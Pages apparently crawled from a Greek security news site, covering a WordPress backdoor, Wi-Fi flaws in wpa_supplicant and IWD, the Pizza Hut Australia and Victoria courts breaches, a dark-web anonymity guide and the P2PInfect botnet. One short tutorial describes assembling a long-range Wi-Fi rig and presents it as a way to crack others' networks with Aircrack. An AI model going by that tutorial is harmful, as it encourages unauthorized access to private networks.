• Bot detection – Όταν οι επισκέπτες αναγνωρίζονταν ως bots (π.χ. ανιχνευτές μηχανών αναζήτησης), το κακόβουλο λογισμικό τους παρείχε διαφορετικό περιεχόμενο, όπως spam, προκαλώντας τους να ευρετηριάσουν τον παραβιασμένο ιστότοπο για κακόβουλο περιεχόμενο. Ως εκ τούτου, οι διαχειριστές θα μπορούσαν να δουν μια ξαφνική αύξηση της επισκεψιμότητας ή αναφορές από χρήστες που διαμαρτύρονται για ανακατεύθυνση σε κακόβουλες τοποθεσίες.
• Content replacement – Το κακόβουλο λογισμικό μπορεί να μεταβάλλει τις αναρτήσεις και το περιεχόμενο της σελίδας και να εισάγει συνδέσμους ή κουμπιά spam. Στους διαχειριστές του ιστότοπου σερβίρεται μη τροποποιημένο περιεχόμενο για να καθυστερήσει η υλοποίηση της παραβίασης.
• Plugin control – Οι χειριστές του κακόβουλου λογισμικού μπορούν να ενεργοποιήσουν ή να απενεργοποιήσουν εξ αποστάσεως αυθαίρετα πρόσθετα του WordPress στον ιστότοπο που έχει παραβιαστεί. Επίσης, καθαρίζει τα ίχνη του από τη βάση δεδομένων του ιστότοπου, έτσι ώστε η δραστηριότητα αυτή να παραμένει κρυφή.

• Remote invocation – Το backdoor ελέγχει για συγκεκριμένες συμβολοσειρές του πράκτορα χρήστη, επιτρέποντας στους επιτιθέμενους να ενεργοποιούν εξ αποστάσεως διάφορες κακόβουλες λειτουργίες.

Προς το παρόν, η Defiant δεν παρέχει λεπτομέρειες σχετικά με τον αριθμό των ιστότοπων που έχουν παραβιαστεί με το νέο κακόβουλο λογισμικό και οι ερευνητές της δεν έχουν ακόμη προσδιορίσει τον αρχικό φορέα πρόσβασης.

Οι τυπικές μέθοδοι παραβίασης ενός ιστότοπου περιλαμβάνουν κλεμμένα διαπιστευτήρια, brute-forcing κωδικών πρόσβασης ή εκμετάλλευση ευπάθειας σε υπάρχον πρόσθετο ή θέμα.

Η Defiant κυκλοφόρησε μια υπογραφή ανίχνευσης για τους χρήστες της δωρεάν έκδοσης του Wordfence και πρόσθεσε έναν κανόνα τείχους προστασίας για την προστασία των χρηστών Premium, Care και Response από την κερκόπορτα.

Ως εκ τούτου, οι ιδιοκτήτες ιστότοπων θα πρέπει να χρησιμοποιούν ισχυρά και μοναδικά διαπιστευτήρια για τους λογαριασμούς διαχειριστών, να διατηρούν τα πρόσθετα τους ενημερωμένα και να αφαιρούν αχρησιμοποίητα πρόσθετα και χρήστες.

Related posts:

Deadglyph – Νέο κακόβουλο λογισμικό που χρησιμοποιείται σε κυβερνητικές επιθέσεις Η Μεγαλύτερη Συνεργασία Χάκερ στην Ιστορία: Μαζική Κυβερνοεπίθεση κατά Βαλτικής & Πολωνίας Τα πάντα σχετικά με το RFID και τις νέες ταυτότητες Αλήθειες και μύθοι σχετικά με το hacking

Κίνδυνος Ασφάλειας WiFi: Απειλούνται Δισεκατομμύρια Χρήστες Android και Οικιακά Δίκτυα Wi-Fi

Δισεκατομμύρια χρήστες Android σε όλο τον κόσμο ενδέχεται να επηρεαστούν από μια νέα ευπάθεια στο WiFi, την οποία οι χάκερ μπορεί να εκμεταλλευτούν για να δημιουργήσουν κλώνους των σημείων πρόσβασης WiFi και να παρακολουθήσουν δεδομένα, ανακάλυψαν ερευνητές. Μια άλλη νέα ευπάθεια επιτρέπει την μη εξουσιοδοτημένη πρόσβαση σε προστατευμένα οικιακά δίκτυα Wi-Fi, αποκαλύπτοντας συσκευές και δεδομένα.

Η πρώτη αδυναμία ασφαλείας επηρεάζει το “wpa_supplicant”, μια υλοποίηση λογισμικού ανοιχτού κώδικα μηχανισμών ασφαλείας για ασύρματα δίκτυα, όπως το WPA (WiFi Protected Access).

Τα ασύρματα δίκτυα Wi-Fi που χρησιμοποιούν το Επιχειρησιακό λειτουργικό του WPA2/3 είναι εκτεθειμένα σε κίνδυνο, όπως απέδειξαν ο Simon Migliano από το top10vpn.com και ο έμπειρος ερευνητής ασφαλείας Mathy Vanhoef.

“Υπάρχουν 2,3 δισεκατομμύρια χρήστες Android σε όλο τον κόσμο που θα μπορούσαν να επηρεαστούν από αυτή την ευπάθεια,” είπαν οι ερευνητές.

Επίσης, αυτή η υλοποίηση ανοιχτού κώδικα βρίσκεται σχεδόν σε όλες τις συσκευές Linux και στο ChromeOS, που χρησιμοποιείται στα Chromebooks.

“Η ευπάθεια του wpa_supplicant επιτρέπει σε κακόποιο να εξαπατήσει το θύμα του να συνδεθεί αυτόματα σε ένα κακόβουλο κλώνο ενός αξιόπιστου δικτύου Wi-Fi για να παρακολουθήσει την κίνησή τους. Δεδομένου ότι η επίθεση δεν απαιτεί καμία ενέργεια από το θύμα, είναι πιθανό το θύμα να μην γνωρίζει ότι έχει γίνει στόχος,” προειδοποιούν οι ερευνητές.

Η ευπάθεια αφορά την υλοποίηση του PEAP (προστατευόμενο πρωτόκολλο επεκτάσιμης πιστοποίησης), το οποίο είναι ένα πρωτόκολλο ασφαλείας που χρησιμοποιείται για να ασφαλίσει καλύτερα τα δίκτυα Wi-Fi. Οι επιτιθέμενοι θα μπορούσαν να παραλείψουν το δεύτερο στάδιο της πιστοποίησης όταν η συσκευή-στόχος δεν έχει διαμορφωθεί σωστά για να επαληθεύσει το διακομιστή πιστοποίησης.

Μια άλλη ευπάθεια επηρεάζει την πλατφόρμα Intel’s iNet Wireless Daemon (IWD), μια ολοκληρωμένη λύση συνδεσιμότητας για Linux, η οποία είναι επίσης ανοιχτού κώδικα και κυρίως χρησιμοποιείται σε οικιακά δίκτυα Wi-Fi.

“Επηρεάζει όλους όσους χρησιμοποιούν το IWD ως σημείο πρόσβασης, καθώς η ευπάθεια δεν εξαρτάται από κάποια κακή διαμόρφωση,” προειδοποιούν οι ερευνητές. “Επιτρέπει σε έναν αντίπαλο να κερδίσει πλήρη πρόσβαση σε ένα υπάρχον προστατευμένο δίκτυο Wi-Fi, εκθέτοντας τους υπάρχοντες χρήστες και συσκευές σε επίθεση.”

Οι κίνδυνοι περιλαμβάνουν επιθέσεις από ransomware, παραβίαση email, κλοπή κωδικών και άλλα.

Δυστυχώς, οι χρήστες Android πρέπει να περιμένουν για ένα νέο ενημερωμένο πακέτο ασφαλείας Android που περιλαμβάνει την επιδιόρθωση του wpa_supplicant.

Related posts:

Θύμα επίθεσης το papaki.gr, δημοφιλής υπηρεσία καταχώρησης domains στη χώρα μας Η Μεγαλύτερη Συνεργασία Χάκερ στην Ιστορία: Μαζική Κυβερνοεπίθεση κατά Βαλτικής & Πολωνίας Τα πάντα σχετικά με το RFID και τις νέες ταυτότητες Αλήθειες και μύθοι σχετικά με το hacking

Πως να πιάσετε συχνότητα WiFI ακτίνας 2-5 Χιλιομέτρων ( + Amplified Aircrack )

Γενικές Πληροφορίες

Σε αυτόν τον οδηγό θα σας δείξω πως μπορείτε να πιάσετε σήμα WiFi  σε ακτίνα 2 – 5 χιλιομέτρων. Τώρα θα μου πει κάποιος είναι εφικτό αυτό; Φυσικά και ναι. Οπότε πάω στον οδηγό κατευθείαν.

Τι Θα χρειαστούμε;

Αρχικά θα χρειαστούμε κάποια πράγματα προς αγορά για να τελέσουμε τον οδηγό μας και φυσικά κοστίζουν καθώς είναι υλικά αγαθά οπότε έχουμε και λέμε.

1. Yagi Antenna Είναι τύπος κεραίας ώστε να πιάσουμε μεγάλες συχνότητες. ( RP-SMA connector / DBI ) 

2. WiFi Amplifilter  ( 8W Max Singal ) 

3. WiFi Adapter ( ALFA )

Και τώρα αφού έχουμε αγοράσει όλα τα απαραίτητα θα πάμε στον οδηγό μας. 

1. Συνδέουμε τον αντάπτορα του WiFi με το RP-SMA Cable.

2. Συνδέουμε το RP-SMA Cable με τον WiFi Amplifier. 

4. Βγάζουμε τον Yagi Antenna έξω θα είναι κάπως έτσι. ( Καλύτερα θα ήταν να τον βάλετε σε ψηλό σημείο για καλύτερη αναμετάδοση ) 

Και τέλος  Συνδέστε το wifi-Amp με την πηγή τροφοδοσίας.

Είστε έτοιμη να παραβιάσετε δίκτυα μέσω Aircrack και ακόμα να κάνετε Packet Injection από το σπίτι σας.

Related posts:

Ιδεολογία Hacking Διαφορές Hacker με Cracker Γιατί η αγορά ενός crypter μπορεί να αποβεί άχρηστη ? Δωρεάν Verification χωρίς πραγματικό αριθμό τηλεφώνου.

Η Pizza Hut της Αυστραλίας προειδοποιεί 193.000 πελάτες για παραβίαση δεδομένων

Η Pizza Hut της Αυστραλίας, στέλνει ειδοποιήσεις παραβίασης δεδομένων στους πελάτες της, προειδοποιώντας ότι μια κυβερνοεπίθεση επέτρεψε σε χάκερς να αποκτήσουν πρόσβαση στις προσωπικές τους πληροφορίες.

Η ειδοποίηση προειδοποιεί ότι ο χάκερ απέκτησε μη εξουσιοδοτημένη πρόσβαση σε συστήματα της Pizza Hut Australia που αποθηκεύουν ευαίσθητες πληροφορίες για πελάτες που έκαναν online παραγγελίες, καθώς και επιμέρους οικονομικά δεδομένα και κρυπτογραφημένους κωδικούς πρόσβασης λογαριασμών.

“Στις αρχές Σεπτεμβρίου αντιληφθήκαμε ένα περιστατικό κυβερνοασφάλειας, κατά το οποίο ένας μη εξουσιοδοτημένος τρίτος είχε πρόσβαση σε ορισμένα δεδομένα της εταιρείας”, αναφέρεται στην ειδοποίηση που εστάλη στους πελάτες.

“Επιβεβαιώσαμε ότι τα δεδομένα που επηρεάστηκαν αφορούν τα στοιχεία του αρχείου πελατών και τις συναλλαγές ηλεκτρονικών παραγγελιών που τηρούνται στη βάση δεδομένων πελατών της Pizza Hut Australia”.

Οι πληροφορίες που έχουν εκτεθεί στους εισβολείς του δικτύου περιλαμβάνουν τα εξής:

• Ονοματεπώνυμο
• Διεύθυνση αποστολής
• Οδηγίες παράδοσης
• Διεύθυνση ηλεκτρονικού ταχυδρομείου
• Αριθμός τηλεφώνου
• Δεδομένα πιστωτικών καρτών
• Κρυπτογραφημένοι κωδικοί πρόσβασης για διαδικτυακούς λογαριασμούς

Η αλυσίδα εστιατορίων, η οποία λειτουργεί σε 260 τοποθεσίες στην Αυστραλία, αναφέρει ότι οι παραλήπτες των ειδοποιήσεών της “ενδέχεται να επιθυμούν να εξετάσουν” την ενημέρωση του κωδικού πρόσβασής τους παρά το γεγονός ότι είναι “μονόδρομος κρυπτογραφημένος” στη βάση δεδομένων.

Επιπλέον, η ειδοποίηση καλεί τους πελάτες να επαγρυπνούν για επιθέσεις phishing και ύποπτους συνδέσμους που τους αποστέλλονται μέσω μη ζητηθέντων επικοινωνιών.

Τελικά, η Pizza Hut αναφέρει ότι το περιστατικό επηρεάζει μόνο έναν μικρό αριθμό πελατών της και ότι το Γραφείο του Επιτρόπου Πληροφοριών της Αυστραλίας (OAIC) έχει ενημερωθεί πλήρως για την κατάσταση.

Ο ακριβής αριθμός των επηρεαζόμενων πελατών γνωστοποιήθηκε μέσω δήλωσης εκπροσώπου της Pizza Hut στον Guardian, ο οποίος ανέφερε ότι το περιστατικό επηρέασε 193.000 άτομα.

Προηγούμενα περιστατικά

Στις αρχές Σεπτεμβρίου 2023, το DataBreaches ανέφερε ότι ο διαβόητος μεσίτης δεδομένων “ShinyHunters” ισχυρίστηκε ότι έκλεψε τα δεδομένα 1 εκατομμυρίου πελατών της Pizza Hut Australia.

Ο φορέας απειλών ισχυρίστηκε ότι απέκτησε πρόσβαση μέσω ενός απροστάτευτου τελικού σημείου των Amazon Web Services (AWS) μεταξύ Ιουλίου και Αυγούστου 2023, αποκτώντας πρόσβαση σε μια βάση δεδομένων με 30 εκατομμύρια παραγγελίες.

Η Pizza Hut Australia δεν απάντησε ποτέ σε αυτούς τους ισχυρισμούς, οπότε δεν είναι σαφές αν τα δύο περιστατικά σχετίζονται με οποιονδήποτε τρόπο.

Νωρίτερα φέτος, τον Ιανουάριο του 2023, ο ιδιοκτήτης της Pizza Hut, η Yum! Brands, έγινε στόχος επίθεσης ransomware που ανάγκασε το κλείσιμο τριακοσίων τοποθεσιών στο Ηνωμένο Βασίλειο.

Τον Απρίλιο του 2023, η εταιρεία επιβεβαίωσε ότι οι απειλητές είχαν κλέψει πληροφορίες εργαζομένων από τα δίκτυά της, αν και δεν βρήκε στοιχεία ότι οι πελάτες επηρεάστηκαν από την παραβίαση δεδομένων.

Related posts:

Η παραβίαση των δεδομένων του National Student Clearinghouse επηρεάζει 890 σχολεία Η παραβίαση της Microsoft οδήγησε σε κλοπή 60.000 emails του Υπουργείου Εξωτερικών των ΗΠΑ Διαρροή δεδομένων της Air Europa: Οι πελάτες της προειδοποιήθηκαν να ακυρώσουν τις πιστωτικές τους κάρτες Αλήθειες και μύθοι σχετικά με το hacking

Επίθεση Χάκερ Στο Δικαστικό Σύστημα της Αυστραλίας: Κλοπή Ηχογραφήσεων και Παρεμπόδιση Δικτύου

Χάκερ προσπάθησαν να αποκτήσουν πρόσβαση στη βάση δεδομένων με τις ηχογραφήσεις των δικαστηρίων στην πολιτεία της Βικτόρια στην Αυστραλία και διέκοψαν το δίκτυο τεχνολογίας ήχου-εικόνας στα δικαστήρια, επηρεάζοντας τις υπηρεσίες ηχογραφήσεων και μεταγραφών, δήλωσε επίσημος την Τρίτη.

Σύμφωνα με τη δήλωση της διευθύντριας της Υπηρεσίας Δικαστηρίων της Βικτόρια, Louise Anderson, ενδέχεται να έχουν κλαπεί ηχογραφήσεις από κάποιες δικαστικές ακροάσεις μεταξύ 1ης Νοεμβρίου και 21ης Δεκεμβρίου 2023. Επιπλέον, ορισμένες ακροάσεις πριν από την 1η Νοεμβρίου μπορεί επίσης να έχουν επηρεαστεί, σύμφωνα με τα λεγόμενά της.

“Η πιθανή πρόσβαση περιορίζεται στις ηχογραφήσεις που αποθηκεύονται στο δίκτυο. Δεν προσπελάστηκαν άλλα συστήματα δικαστηρίων ή αρχεία, συμπεριλαμβανομένων πληροφοριών υπαλλήλων ή οικονομικών δεδομένων”, δήλωσε η Anderson.

Οι ακροάσεις του Ιανουαρίου θα συνεχιστούν μετά την απομόνωση και απενεργοποίηση του επηρεασμένου δικτύου, και οι αξιωματούχοι του δικαστηρίου συνεργάζονται στενά με τους ειδικούς κυβερνοασφαλείας της κυβέρνησης. Η Υπηρεσία Δικαστηρίων της Βικτόρια δεν αποκάλυψε εάν λάβει απαιτήσεις για λύτρα.

Ομάδες κυβερνοεγκληματιών με υποστήριξη από το κράτος και χάκερ έχουν εντείνει τις επιθέσεις τους σε κρίσιμες υποδομές, επιχειρήσεις και κατοικίες της Αυστραλίας, όπως ανέδειξε έκθεση της κυβέρνησης που κυκλοφόρησε το Νοέμβριο του 2023, με μία επίθεση να σημειώνεται κάθε έξι λεπτά.

Related posts:

Θύμα επίθεσης το papaki.gr, δημοφιλής υπηρεσία καταχώρησης domains στη χώρα μας Η Μεγαλύτερη Συνεργασία Χάκερ στην Ιστορία: Μαζική Κυβερνοεπίθεση κατά Βαλτικής & Πολωνίας Τα πάντα σχετικά με το RFID και τις νέες ταυτότητες Αλήθειες και μύθοι σχετικά με το hacking

Προστατεύοντας την Επιχείρησή σας: Η Σημασία της Κυβερνοασφάλειας

Η κυβερνοασφάλεια είναι κάτι περισσότερο από μια απλή ανησυχία για την τεχνολογική ασφάλεια. Είναι η βασική αμυντική γραμμή της επιχείρησής σας, προστατεύοντας τα δεδομένα, τους πελάτες και τη φήμη σας. Σε αυτό το άρθρο, θα δούμε τη σημασία της κυβερνοασφάλειας στις επιχειρήσεις και πώς μπορείτε να την ενσωματώσετε στην καθημερινή λειτουργία σας.

Κυβερνοασφάλεια: Τι είναι και γιατί είναι σημαντική;

Η κυβερνοασφάλεια αναφέρεται στην προστασία των ψηφιακών συστημάτων, δεδομένων και δικτύων από κυβερνοαπειλές και επιθέσεις. Αυτές οι απειλές μπορούν να περιλαμβάνουν malware, phishing, επιθέσεις ransomware και πολλά άλλα. Γιατί όμως είναι τόσο σημαντική για κάθε επιχείρηση;

1. Προστασία των Δεδομένων: Οι επιχειρήσεις συχνά διαθέτουν ευαίσθητα δεδομένα πελατών, εργαζομένων και οικονομικά στοιχεία. Η διαρροή ή η κλοπή αυτών των δεδομένων μπορεί να οδηγήσει σε σοβαρές συνέπειες, συμπεριλαμβανομένης της απώλειας φήμης και των νομικών επιπτώσεων.

2. Προστασία της Φήμης: Η καλή φήμη είναι ανεκτίμητη. Ένας κακόβουλός «χάκερ» μπορεί να καταστρέψει τη φήμη μιας επιχείρησης, διαρρέοντας προσωπικά δεδομένα ή προκαλώντας αναστάτωση στις υπηρεσίες της.

3. Προστασία από Νομικές Επιπτώσεις: Η μη συμμόρφωση με τους νόμους περί προστασίας των δεδομένων και της κυβερνοασφάλειας μπορεί να οδηγήσει σε σοβαρές νομικές συνέπειες.

Πώς να Ενσωματώσετε την Κυβερνοασφάλεια:

Η κυβερνοασφάλεια δεν είναι μια μονοδιάστατη λύση. Πρέπει να ενσωματωθεί σε όλες τις πτυχές της επιχείρησης. Αναλυτικά:

1. Κατάρτιση και Ευαισθητοποίηση: Εκπαιδεύστε το προσωπικό σας για τις κυβερνοαπειλές και τις βέλτιστες πρακτικές ασφάλειας.

2. Τεχνολογικά Εργαλεία: Χρησιμοποιήστε ασφαλή λογισμικά και υλικά, όπως firewalls, antivirus, IDS/IPS, και SIEM συστήματα, για να προστατεύσετε τα συστήματά σας από επιθέσεις.

3. Ανάλυση και Εντοπισμός Κινδύνων: Εφαρμόστε μηχανισμούς ανίχνευσης και αντιμετώπισης κυβερνοαπειλών για να εντοπίσετε εγκαίρως ανωμαλίες στο δίκτυό σας.

4. Πολιτικές και Διαδικασίες: Τηρήστε πολιτικές και διαδικασίες κυβερνοασφάλειας που καθορίζουν πώς πρέπει να διαχειρίζεστε τα δεδομένα και τις πιθανές απειλές.

5. Συνεργασία με Εξωτερικούς Εμπειρογνώμονες: Εξετάστε τη συνεργασία με εξωτερικούς εμπειρογνώμονες για τον έλεγχο κυβερνοασφάλειας και τον εντοπισμό πιθανών ευπάθειών.

6. Ανάκτηση Δεδομένων και Επιχειρησιακή Συνέχεια: Αναπτύξτε σχέδια ανάκτησης δεδομένων και συνέχειας επιχειρησιακής δραστηριότητας, ώστε να αντιμετωπίσετε τις επιθέσεις.

7. Συμμόρφωση με τους Νόμους: Διασφαλίστε ότι η επιχείρησή σας συμμορφώνεται με τους νόμους περί προστασίας των δεδομένων και της κυβερνοασφάλειας.

Η κυβερνοασφάλεια δεν είναι πλέον πολυτέλεια, αλλά αναγκαίο μέτρο για κάθε επιχείρηση. Η προστασία των δεδομένων, της φήμης και της νομικής συμμόρφωσης πρέπει να βρίσκεται στην κορυφή της λίστας προτεραιοτήτων σας. Εφαρμόζοντας καλές πρακτικές κυβερνοασφάλειας, μπορείτε να προστατεύσετε την επιχείρησή σας και να διασφαλίσετε την ασφαλή της λειτουργία.

Προσοχή στο διαδίκτυο.

Related posts:

Τι είναι οι επιθέσεις «ψαρέματος» και πως να τις αποφύγουμε. Προστατεύοντας τον Ιστότοπό σας: Οι Αόρατοι Κίνδυνοι των Επιθέσεων XSS και Πώς να Αμυνθείτε CSRF: Όταν οι Κρυφές Επιθέσεις Κατά των Δικτυακών Εφαρμογών απειλούν την Ασφάλειά μας Υποκλοπή Cookies: Προστατεύοντας την Ιδιωτικότητά σας στον Ψηφιακό Κόσμο

Η Ανωνυμία στο Dark Web: Τεχνικές και Εργαλεία

Το Dark Web (σκοτεινός ιστός) είναι μια μικρή, αποκρυφή περιοχή του Διαδικτύου που δεν είναι προσβάσιμη με κανονικούς περιηγητές όπως το Google Chrome, το Mozilla Firefox ή το Microsoft Edge. Αντίθετα, για να αποκτήσετε πρόσβαση στο Dark Web, χρειάζεστε ειδικό λογισμικό, όπως το Tor Browser.

Σε αυτό το άρθρο, θα εξετάσουμε τη σημασία της ανωνυμίας στο Dark Web και τα εργαλεία που χρησιμοποιούνται για να διατηρηθεί η ασφάλεια και η ιδιωτικότητα των χρηστών.

Τα κύρια χαρακτηριστικά του Dark Web είναι τα εξής:

1. Ανωνυμία: Το Dark Web προσφέρει αυξημένη ανωνυμία στους χρήστες του, καθώς η κίνηση του διαδικτύου τους δρομολογείται μέσα από πολλούς κόμβους του Tor Network, προστατεύοντας την προσωπική τους ταυτότητα.
2. Κρυπτογραφία: Οι συνδέσεις και οι επικοινωνίες στο Dark Web είναι συχνά κρυπτογραφημένες, εξασφαλίζοντας την ασφάλεια των δεδομένων.
3. Περιεχόμενο: Το Dark Web περιέχει μια ποικιλία περιεχομένου, συμπεριλαμβανομένων ιστοσελίδων, φόρουμ, καταστημάτων, και πολλών άλλων, μερικές φορές προσβάσιμα μόνο μέσω συγκεκριμένων διευθύνσεων URL.
4. Εμπορία: Το Dark Web έχει γίνει γνωστό για τον ανώνυμο εμπορίο διαφόρων ειδών, συμπεριλαμβανομένων ναρκωτικών, όπλων, προσωπικών δεδομένων και πολλών άλλων.
5. Κρυμμένες Υπηρεσίες: Στο Dark Web υπάρχουν κρυμμένες υπηρεσίες (Hidden Services) που προσφέρουν περιεχόμενο και υπηρεσίες που δεν είναι ορατές στον κανονικό ιστό.

Είναι σημαντικό να σημειώσουμε ότι, ενώ το Dark Web χρησιμοποιείται από ορισμένους για νόμιμους σκοπούς, όπως η ανωνυμία και η προστασία της ιδιωτικότητας, έχει επίσης γίνει γνωστό για την παράνομη δραστηριότητα.

Το Dark Web αντιπροσωπεύει έναν κόσμο ανωνυμίας και ασφάλειας στον κυβερνοχώρο. Για να διατηρήσετε την ανωνυμία σας στο Dark Web, χρειάζεται να χρησιμοποιήσετε εξειδικευμένα εργαλεία και τεχνικές. Εδώ είναι μερικά από τα βασικά εργαλεία που χρησιμοποιούν οι χρήστες του Dark Web για να διασφαλίσουν την ανωνυμία τους:

1. Το Τοr (The Onion Router): Το Tor είναι ένα από τα κύρια εργαλεία που χρησιμοποιούν οι χρήστες του Dark Web για να προστατεύσουν την ανωνυμία τους. Αυτή η τεχνολογία λειτουργεί με το να κατευθύνει την κίνηση δεδομένων μέσα από ένα δίκτυο από πολλαπλούς κόμβους, κρυπτογραφώντας την κάθε στρώση πληροφοριών σαν κρεμμύδι (το λεγόμενο “στρώμα κρεμμυδιού”). Αυτό κάνει την παρακολούθηση της κίνησης πολύ δύσκολη και προστατεύει την ανωνυμία των χρηστών.

2. Υπηρεσίες VPN (Virtual Private Networks): Οι υπηρεσίες VPN είναι δημοφιλείς για τη δημιουργία μιας ασφαλούς και ανώνυμης σύνδεσης στο Dark Web. Ένα VPN κρυπτογραφεί την κίνηση δεδομένων και κρύβει την πραγματική διεύθυνση IP του χρήστη, αντικαθιστώντας την με μια διεύθυνση IP από έναν διακομιστή στον κόμβο του VPN.

3. Κρυπτογραφία: Η χρήση της κρυπτογραφίας είναι απαραίτητη στο Dark Web. Οι χρήστες κρυπτογραφούν τα μηνύματά τους και τις πληροφορίες τους για να αποτρέψουν την παρακολούθηση από τρίτους. Πολλές υπηρεσίες στο Dark Web προσφέρουν τη δυνατότητα ανταλλαγής κρυπτογραφημένων μηνυμάτων.

4. Προσοχή στα Αυθαίρετα Κατευθυνόμενα Δεδομένα (Metadata): Οι χρήστες του Dark Web πρέπει να είναι προσεκτικοί με τα metadata. Αυτά είναι πληροφορίες που μπορούν να αποκαλύψουν πολλά για την ανωνυμία του χρήστη, όπως η χρονολογία και η τοποθεσία. Οι χρήστες πρέπει να είναι προσεκτικοί όταν ανεβάζουν φωτογραφίες και άλλα αρχεία στο Dark Web.

5. Προστασία από Κοινοποίηση Πληροφοριών (Information Leakage): Η προστασία από διαρροές πληροφοριών είναι κρίσιμη. Οι χρήστες πρέπει να αποφεύγουν την αναφορά προσωπικών πληροφοριών και την κοινοποίηση περαιτέρω πληροφοριών στο Dark Web.

6. Tails (The Amnesic Incognito Live System): Το Tails είναι ένα λειτουργικό σύστημα που βασίζεται στο Linux και σχεδιάστηκε ειδικά για ανωνυμία. Εκκινεί από USB, δρομολογεί όλη την κίνηση μέσω του Tor, και δεν αφήνει ίχνη στον υπολογιστή που το χρησιμοποιείτε.

7. Κρυπτονομίσματα: Τα κρυπτονομίσματα όπως το Bitcoin, το Monero και το Zcash είναι δημοφιλή στο Dark Web και προσφέρουν ανωνυμία στις χρηματικές συναλλαγές. Οι χρήστες μπορούν να χρησιμοποιήσουν αυτά τα κρυπτονομίσματα για να πληρώσουν για προϊόντα και υπηρεσίες χωρίς να αποκαλύπτουν την ταυτότητά τους.

8. Κρυπτογραφία Μηνυμάτων: Στο Dark Web, η ασφαλής ανταλλαγή μηνυμάτων είναι ουσιαστική. Οι χρήστες χρησιμοποιούν εργαλεία όπως το PGP (Pretty Good Privacy) για να κρυπτογραφήσουν τα μηνύματά τους. Αυτό εξασφαλίζει ότι μόνο ο παραλήπτης μπορεί να αποκρυπτογραφήσει το μήνυμα.

9. Κρυπτογραφημένα Αρχεία: Στο Dark Web, οι χρήστες μπορούν να ανεβάσουν και να κατεβάσουν κρυπτογραφημένα αρχεία. Αυτό προστατεύει το περιεχόμενο από ανεπιθύμητη πρόσβαση και παρακολούθηση.

Για να μπείτε στο Dark Web, θα χρειαστεί να ακολουθήσετε τα παρακάτω βήματα:

1. Λήψη και Εγκατάσταση του Tor Browser:
   • Το Tor Browser είναι ο πιο δημοφιλής τρόπος να αποκτήσετε πρόσβαση στο Dark Web. Πηγαίνετε στην επίσημη ιστοσελίδα του Tor Project: https://www.torproject.org/
   • Κάντε κλικ στο κουμπί “Download Tor” και επιλέξτε την έκδοση που αντιστοιχεί στο λειτουργικό σας σύστημα (Windows, macOS, Linux).
   • Αφού κατεβάσετε το αρχείο εγκατάστασης, ακολουθήστε τις οδηγίες για να εγκαταστήσετε το Tor Browser στον υπολογιστή σας.
2. Εκκίνηση του Tor Browser:
   • Αφού εγκαταστήσετε το Tor Browser, εκκινήστε το από το μενού εφαρμογών του υπολογιστή σας. Μόλις εκκινήσει, το Tor Browser θα αρχίσει να συνδέεται στο δίκτυο Tor και θα δημιουργήσει μια ασφαλή σύνδεση.
3. Περιηγηθείτε στο Dark Web:
   • Μόλις ολοκληρωθεί η διαδικασία σύνδεσης, το Tor Browser θα σας εμφανίσει έναν περιηγητή που μοιάζει με τον Mozilla Firefox. Χρησιμοποιήστε τον αυτόν τον περιηγητή για να πλοηγηθείτε στο Dark Web.
   • Μπορείτε να εισάγετε διευθύνσεις URL που τελειώνουν σε “.onion” για να επισκεφθείτε ιστοσελίδες στο Dark Web.

Related posts:

Εγκατάσταση VPN στα Kali Linux Doxing Βασικές πληροφορίες-Ξεκίνημα Δωρεάν Verification χωρίς πραγματικό αριθμό τηλεφώνου. Δημιουργία ψεύτικου DOX για να προστατέψετε τον εαυτό σας

Το botnet P2PInfect αυξάνεται με κρυφές παραλλαγές κακόβουλου λογισμικού

Το botnet P2PInfect worm διανύει μια περίοδο ιδιαίτερα αυξημένου όγκου δραστηριότητας που ξεκινά στα τέλη Αυγούστου και στη συνέχεια αυξάνεται και πάλι τον Σεπτέμβριο του 2023. Το P2PInfect καταγράφηκε για πρώτη φορά από τη Μονάδα 42 τον Ιούλιο του 2023 ως κακόβουλο λογισμικό peer-to-peer που παραβιάζει τις περιπτώσεις Redis χρησιμοποιώντας ένα ελάττωμα απομακρυσμένης εκτέλεσης κώδικα σε εκτεθειμένα στο διαδίκτυο συστήματα Windows και Linux. Οι ερευνητές της Cado Security, οι οποίοι παρακολουθούν το botnet από τα τέλη Ιουλίου 2023, αναφέρουν σήμερα ότι βλέπουν παγκόσμια δραστηριότητα, με τις περισσότερες παραβιάσεις να επηρεάζουν συστήματα στην Κίνα, τις Ηνωμένες Πολιτείες, τη Γερμανία, τη Σιγκαπούρη, το Χονγκ Κονγκ, το Ηνωμένο Βασίλειο και την Ιαπωνία. Επιπλέον, η Cado αναφέρει ότι τα τελευταία δείγματα του P2PInfect διαθέτουν προσθήκες και βελτιώσεις που το καθιστούν πιο ικανό να εξαπλωθεί σε στόχους και αναδεικνύουν τη συνεχή ανάπτυξη του κακόβουλου λογισμικού.

Απότομη αύξηση της δραστηριότητας

Το Cado βλέπει δραστηριότητα του botnet του P2PInfect, γεγονός που υποδηλώνει ότι το κακόβουλο λογισμικό έχει εισέλθει σε μια νέα περίοδο σταθερότητας του κώδικα που του επιτρέπει να αυξήσει τη λειτουργία του. Οι ερευνητές αναφέρουν ότι παρατηρούν μια σταθερή αύξηση του αριθμού των αρχικών προσπαθειών πρόσβασης που πραγματοποιούνται από το P2PInfect στα honeypots τους, με αποτέλεσμα να φτάσουν τα 4.064 συμβάντα από έναν μόνο αισθητήρα στις 24 Αυγούστου 2023. Μέχρι τις 3 Σεπτεμβρίου 2023, τα συμβάντα αρχικής πρόσβασης είχαν τριπλασιαστεί, αλλά παρέμεναν σχετικά χαμηλά. Στη συνέχεια, την εβδομάδα μεταξύ της 12ης και της 19ης Σεπτεμβρίου 2023, σημειώθηκε μια έξαρση της δραστηριότητας του P2PInfect, με το Cado να καταγράφει 3.619 απόπειρες πρόσβασης μόνο κατά τη διάρκεια αυτής της περιόδου, δηλαδή μια αύξηση 600 φορές.

Νέα χαρακτηριστικά του P2PInfect

Παράλληλα με την αυξημένη δραστηριότητα, η Cado παρατήρησε νέα δείγματα που καθιστούν το P2PInfect μια πιο κρυφή και τρομερή απειλή. Πρώτον, οι δημιουργοί του κακόβουλου λογισμικού έχουν προσθέσει έναν μηχανισμό επιμονής με βάση το cron, ο οποίος αντικαθιστά την προηγούμενη μέθοδο ‘bash_logout’, ενεργοποιώντας το κύριο payload κάθε 30 λεπτά.

